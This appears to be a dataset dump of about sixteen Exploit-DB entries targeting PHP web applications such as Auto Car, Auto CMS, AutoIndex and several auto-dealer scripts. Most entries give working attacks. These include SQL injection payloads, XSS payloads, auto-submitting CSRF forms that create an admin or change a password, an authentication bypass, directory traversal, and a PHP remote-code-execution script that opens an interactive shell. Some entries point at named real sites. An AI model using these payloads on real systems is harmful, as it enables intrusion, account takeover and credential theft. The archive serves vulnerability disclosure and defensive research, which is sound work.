deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44699
Description: Auto Car 1.2 - 'car_title' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-22
Author: L0RD

Exploit:
# Exploit Title: Auto car 1.2 - 'car_title' SQL Injection / Cross-Site Scripting
# Date: 2018-05-22
# Exploit Author: Borna nematzadeh (L0RD)
# Vendor Homepage: https://codecanyon.net/item/auto-car-car-listing-script/19221368?s_rank=1159
# Version: 1.2
# Tested on: Win 10

# POC 1: SQLi:

# Parameter: car_title
# Type: Error based
# Payload: 1' and extractvalue(1,Concat(0x3a,user(),0x3a))#
# test: http://target/scripts/autocar_preview/

# Request:

POST /scripts/autocar_preview/search-cars HTTP/1.1
Host: kamleshyadav.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://kamleshyadav.com/scripts/autocar_preview/
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Connection: keep-alive
Upgrade-Insecure-Requests: 1

car_title=1' and extractvalue(1,Concat(0x3a,user(),0x3a))#

# Response:

HTTP/1.1 500 Internal Server Error
Server: nginx/1.12.2
Date: Tue, 22 May 2018 14:36:47 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1371
Connection: keep-alive

<h1>A Database Error Occurred</h1>
<p>Error Number: 1105</p><p>XPATH syntax error:
':kamleshy_event@localhost:'</p><p>SELECT
*
FROM `autocar_car_details`
WHERE `car_status` = 1 AND `car_title` LIKE '%1' and
extractvalue(1,Concat(0x3a,user(),0x3a))#%'</p>

# POC 2: Cross site scripting:

1) Create your account and navigate to "edit profile"
2) Put this payload in "name" and update your profile:
<script>alert('xss')</script>
3) You will have an alert box in your page .
Exploit-DB #30909
Description: Auto Classifieds Script 2.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2014-01-14
Author: HackXBack

Exploit:
Auto Classifieds Script v2.0 - CSRF Vulnerabilty [Add Admin]
====================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         :
http://www.phpjabbers.com/preview/auto-classifieds-script/

####################################################################

===[ Exploit ]===

Cross Site Request Forgery
===========================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://www.site.com/index.php?controller=AdminUsers&action=create">
<input type="hidden" name="user_create" value="1"/>
<input type="hidden" name="Full_name" value="Iphobos"/>
<input type="hidden" name="username" value="Admin"/>
<input type="hidden" name="password" value="password"/>
<input type="hidden" name="status" value="T"/>
<input type="hidden" name="role_id" value="1"/>
</form>

</body>
</html>


####################################################################
Exploit-DB #34533
Description: Auto CMS 1.6 - 'autocms.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42764/info

Auto CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Auto CMS 1.6 is vulnerable; other versions may be affected. 

<form action="http://www.example.com/index.php" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="site_name" value="AutoCMS by Roberto Aleman" />
<input type="hidden" name="site_url" value="index.php" />
<input type="hidden" name="sitetitle" value=&#039;AutoCMS by Roberto Aleman"><script>alert("XSS")</script>&#039; />
<input type="hidden" name="admin_email" value="admin@example.com" />
<input type="hidden" name="admin_password" value="" />
<input type="hidden" name="css_file" value="black.css" />
<input type="hidden" name="index_name_link" value="Index" />
<input type="hidden" name="about_name_link" value="About" />
<input type="hidden" name="about_content" value="put about text here" />
<input type="hidden" name="ps_name_link" value="" />
<input type="hidden" name="ps_content" value="put producs and services text here" />
<input type="hidden" name="news_name_link" value="News" />
<input type="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/" />
<input type="hidden" name="contact_name_link" value="Contact" />
<input type="hidden" name="update" value="update" />

</form>
<script>
document.main.submit();
</script>
Exploit-DB #15369
Description: Auto CMS 1.8 - Remote Code Execution
Type: webapps
Platform: php
Date: 2010-10-31
Author: Giuseppe D'Inverno

Exploit:
<?php
/*
=====================================
Auto CMS <= 1.8 Remote Code Execution
=====================================

Author___: giudinvx
Email____: <giudinvx[at]gmail[dot]com>
Date_____: 10/31/2010
Site_____: http://www.giudinvx.altervista.org/
Site CMS_: http://ventics.com/autocms/
*/

error_reporting(0);
set_time_limit(0);

function openfsock ($host, $pack)
{
if (!($fp = fsockopen($host, 80))) {
die("\nNo response\n");
} else {
fputs($fp, $pack);

while (!feof($fp)) {
$ret .= fgets($fp, 1024);
}
fclose($fp);
}
return $ret;
}

$host = $argv[1];
$path = $argv[2];

if ($argc < 3) {
echo "\nExample: php $argv[0] lolcalhost /
Example: php $argv[0] localhost /path/\n\n";
die();
}

$excode =
"update=WuaU&site_name=aZombie\\\');error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;//";
$pack = "POST /test/autocms/ HTTP/1.1\r\n";
$pack.= "Host: localhost\r\n";
$pack.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$pack.= "Cmd: %s\r\n";
$pack.= "Content-Length: ".strlen($excode)."\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Connection: close\r\n\r\n";
$pack.= $excode;

echo "\nAuto CMS <= 1.8 Remote Code Execution
Exploit by giudinvx";

while (true) {
echo "\nShellCMD\n";
$cmd = trim(fgets(STDIN));
 if ($cmd != ":q") {
$res = openfsock($host, sprintf($pack, base64_encode($cmd)));
preg_match("/(\n|.)*/i", $res, $match);
echo $match[0];
} else {
die();
}
}
Exploit-DB #16139
Description: Auto Database System 1.0 Infusion Addon - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-09
Author: Saif

Exploit:
# Exploit Title: PHP-Fusion Auto Database System 1.0 Infusion SQL injection
# Date: 8-2-2011
# Author: Saif El-Sherei
# Software Link:
http://www.php-fusion.co.uk/infusions/addondb/view.php?addon_id=146
# Version: Auto Database System 1.0 Infusion, PHP-fusion (7.01..03)
# Tested on: Firefox 3.0.15, , IE 8, mySQL v5
# Vendor Notified: vendor notified"8-2-2011", awaiting vendor response.


Info:

Auto Database System - for sales of cars.

Make new ads for cars - upload up to 5 pictures in each ad.

Info about:
- Car model/brand
- Type
- Fuel type
- Year
- Miles
- Price
- Doors
- Color
- Equipment

Print function on all pages.

Go-back-function on all pages.

Search-function for searching after brand/model.

Mouse-over the small pictures will change the big picture of the cars.

Side-panel incl. that showing the 10 Latest Incoming Cars.

SCREENSHOTS:
-------------------------
http://www.dev.dv...r_list.jpg
http://www.dev.dv...r_desc.jpg
http://www.dev.dv...ate_ad.jpg
http://www.dev.dv...in_ads.jpg

Details:

the search variable in "search.php" is not santized before the Db query,
allowing an attacker to alter the SQL query and gain remote access to the
server running the infusion.

POC:

' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#

Vulnerable Code:

$result = dbquery("SELECT * FROM ".DB_ADS." WHERE car_model like
'%".$_POST['SEARCHSTRING']."%'");
$rows = dbrows($result);
Exploit-DB #14239
Description: Auto Dealer - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-06
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Auto Dealer <= SQL Injection Vulnerability Proof of Concept
+Autor : Easy Laster
+ICQ : 11-051-551
+Date   : 06.07.2010
+Script  : BS Auto Dealer
+Price : $24.95
+Language :PHP
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
   
---------------------------------------------------------------------------------------
                                                                                        
 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|         
   
   
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/Auto_Dealer/info.php?id=
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : cars_agents
+columns : LastName, FirstName, password, username ,AgentID ,email
+Proof of Concept : www.site.com/Auto_Dealer/info.php?id='/**/uNiOn+/**/SeLeCt+/**/1,2,
3,4,5,version(),7,8,9,10,11,12,13,14,15,16--+
----------------------------------------------------------------------------------------
Exploit-DB #44679
Description: Auto Dealership & Vehicle Showroom WebSys 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2018-05-21
Author: L0RD

Exploit:
# Exploit Title:  Auto Dealership & Vehicle Showroom WebSys 1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Admin panel Authentication bypass
# Date: 2018-05-21
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://codecanyon.net/item/auto-dealership-vehicle-showroom-websys/17013273?s_rank=28
# Version: 1.0
# Tested on: Kali linux

# Description: Auto Dealership & Vehicle Showroom WebSys 1.0 suffers from multiple vulnerabilities:

# POC 1 : Persistent cross site scripting :
1) After creating an account , go to your profile.
2) Navigate to "Update profile" and put this payload :
"/><script>alert(document.cookie)</script>
3) You will have an alert box in the page .

# POC 2 : CSRF :
# Attacker can change user's authentication directly :
# User's CSRF exploit :
<html>
<head>
    <title>CSRF POC</title>
</head>
<body>
    <form action="http://vehicle.thesoftking.com/updateprofile" method="post">
        <input type="hidden" name="name" value="anything">
        <input type="hidden" name="mobile" value="200000">
        <input type="hidden" name="address" value="anything">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

# Admin page CSRF exploit :

<form action="http://vehicle.thesoftking.com/admin/setgeneral.php" method="post">
        <input name="name" value="test" type="hidden">
        <input name="wcmsg" value="test" type="hidden">
        <input name="address" value="test2" type="hidden">
        <input name="mobile" value="2000000" type="hidden">
        <input name="email" value="test@test.com" type="hidden">
        <input name="currency" value="decode" type="hidden">
</form>
    <script>
         document.forms[0].submit();
    </script>

# POC 3 : Authentication bypass :
Path : /admin
Username : ' or 0=0 #
[CREDENTIAL_REDACTED]
Exploit-DB #35954
Description: Auto Web Toolbox - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-15
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/48683/info

Auto Web Toolbox is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/inventory/details.php?id=496
Exploit-DB #38119
Description: Auto-Exchanger 5.1.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-09-09
Author: Aryan Bayaninejad

Exploit:
<!--
# Exploit Title: [Auto-exchanger version 5.1.0 Xsrf]
# Date: [2015/06/05]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]
# Vendor Homepage: [www.auto-exchanger.com]
# Version: [Version 5.1.0]
# Demo : www.farhadexchange.com
# CVE : [CVE-2015-6827]

------------------------------------
details:
------------------------------------

auto-exchanger version 5.1.0 suffers from an xsrf vulnerability , attacker
is able to abuse of this vulnerability to change password by a hidden
iframe in another page.

-------------------------------------

Exploit:

-------------------------------------
-->

<html>
<body>
<iframe style="display:none" name="xsrf-frame"></iframe>
<form method='POST' action='http://farhadexchange.com/signup.php'
target="xsrf-frame" id="xsrf-form">

<label id="lbl_error" name="lbl_error" class="ErrorMessage"></label>
<INPUT type="hidden" name="suser" value="victim_user">
<input type="hidden" name="section" value="do_update" />
<label type='hidden' id="n_password0"><span>
<input type='hidden' maxlength="20" size="30" name="password0"
id="password0"   value="testpassword123456" >  </label>
<input type="hidden" name="rid" value="" />
<label id="n_password">
<input type="hidden" maxlength="20" size="30" name="password1"
id="password1"   value="testpassword123456"   ></label>
<label id="n_mail">
<INPUT type='hidden' maxLength=60 size=30 name="mail" id="mail"
value="victim_email" type="text">
</label>
<label id="n_country">
<input type='hidden'  name="country" id="country"  style="width:196;"
value="IR">
</label>
<label id="cid">
<input type='hidden' name='cid' value='2'/>
</label>
<label id="n_curreny_account">
<INPUT type='hidden' maxLength=60 size=30 name="curreny_account"
id="curreny_account" value="" ><br>
</label>
</form>
<script>document.getElementById("xsrf-form").submit()</script>
</body>
</html>
Exploit-DB #42562
Description: AutoCar 1.1 - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-25
Author: Bora Bozdogan

Exploit:
# #
# Exploit Title: Auto Car - Car listing Script 1.1 - SQL Injection
# Dork: N/A
# Date: 25.08.2017
# Vendor: http://kamleshyadav.com/
# Software Link: https://codecanyon.net/item/auto-car-car-listing-script/19221368
# Demo: http://kamleshyadav.com/scripts/autocar_preview/
# Version: 1.1
# Tested on: WiN10_X64
# Exploit Author: Bora Bozdogan
# Author WebSite : http://borabozdogan.net.tr
# Author E-mail : borayazilim45@mit.tc
# #	
# POC:
# 
# http://localhost/[PATH]/search-cars?category=[SQL]
# ts_user
#  user_uname
#  user_fname
#  user_lname
#  user_email
#  user_pwd
# #
Exploit-DB #12462
Description: AutoDealer 1.0/2.0 - MSSQL Injection
Type: webapps
Platform: php
Date: 2010-04-30
Author: Sid3^effects

Exploit:
# vendor :http://www.aspsiteware.com/Auto.asp
# Date: 30 apr,2010
# Dork:Copyright © 2010 ASP SiteWare. All rights reserved.
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
AutoDealer is an application ideal for the small or independent new or used car dealer who needs a way

to display and update their inventory online. Backend by Access database, AutoDealer  can store

thousands of vehicles in categories with images.

############################################################################

Xploit : MSSQLi Vulnerability

       
 Ver.1
 http://server/Auto1/type.asp?iType=[ur injection code]
 
 Ver.2
 http://server/auto2/auto2/detail.asp?iPro=[ur injection code]

############################################################################


#Sid3^effects
Exploit-DB #6433
Description: Autodealers CMS AutOnline - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-11
Author: ZoRLu

Exploit:
############################################################################################################
[+] Autodealers CMS AutOnline (id) SQL Injection Vulnerability
[+] Discovered By ZoRLu
[+] home: z0rlu.blogspot.com & yildirimordulari.org & r00tsecurity.org & darkc0de.org                    
[+] Greetz: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs   
[+] trt-turk@hotmail.co  &  zorlu@w.cn                 
############################################################################################################
[+]
[+]
[+]
[+]

   exploit:
http://localhost/script_path/index.php?page=detail&id=[SQL]

[+]
[+]
[+]
[+]

   [SQL]=
ZoRLu'%20union%20select%20null,concat(database(),0x3a,version(),0x3a,user()),null,concat(database(),0x3a,version(),0x3a,user()),null,null,null,null,null/*

[+]
[+]
[+]
[+]   
[+]

   demo:
http://www.aartsvastgoed.nl/aankoopvastgoed/index.php?page=detail&id=ZoRLu'%20union%20select%20null,concat(database(),0x3a,version(),0x3a,user()),null,concat(database(),0x3a,version(),0x3a,user()),null,null,null,null,null/*

[+]
[+] 
[+]
[+] 
############################################################################################################

# milw0rm.com [2008-09-11]
Exploit-DB #6426
Description: Autodealers CMS AutOnline - 'pageid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-11
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: Zanfi CMS lite / Autodealers CMS AutOnline (SQL Injection)
#
# Vendor: http://www.zanfi.nl/autodealerscms.php
# 
# Demo: http://autonline.zanfi.nl/
###########################################################
#
# d0rk:Powered by: Zanfi Solutions
#.  
# 
###########################################################
 
     Exploit:-
	http://www.site.com/[path]/index.php?page=DBpAGE&pageid=-1'+union+select+null,concat(version(),0x3a,database(),0x3a,user())/*

     
     
     Live Demo: 
	http://www.aartsvastgoed.nl/aankoopvastgoed/index.php?page=DBpAGE&pageid=-1%27+union+select+null,concat(version(),0x3a,database(),0x3a,user())/*


###########################################################
#
#  Bug discovered : 10 Sep.2008
###########################################################

# milw0rm.com [2008-09-11]
Exploit-DB #11051
Description: AutoIndex PHP Script - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2010-01-07
Author: Red-D3v1L

Exploit:
==============================================================================
    [?] AutoIndex PHP Script (index.php) Directory Traversal Vulnerability 
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ AutoIndex PHP Script ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://autoindex.sourceforge.net/]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ] 
########################################################################
  
===[ Exploit SQL ]===
  
[»]exploit : [Path]/index.php?dir=[S0me f0LdEr]

[»]exploit : [Path]/index.php?dir=&file=[S0me File]
 
[»]dem0:

http://autoindex.sourceforge.net/demo/index.php?dir=&file=note.txt       << This file

http://autoindex.sourceforge.net/demo/index.php?dir=icon%20tests/test%20dir/   << This FoldEr



==============================================================================
Exploit-DB #25940
Description: AutoIndex PHP Script 1.5.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-05
Author: mozako

Exploit:
source: https://www.securityfocus.com/bid/14154/info

AutoIndex PHP Script is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?search='>%3Cscript%3Ealert%28%27owned%27%29%3Blocation.href%3D%27http%3A%2F%2Fwww.example.com%27%3B%3C%2Fscript%3E&dir=&searchMode=
Exploit-DB #30531
Description: AutoIndex PHP Script 2.2.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-27
Author: d3hydr8

Exploit:
source: https://www.securityfocus.com/bid/25448/info

AutoIndex PHP Script is prone a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AutoIndex PHP Script 2.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/AutoIndex/index.php?search=asdf&search_mode=[xss]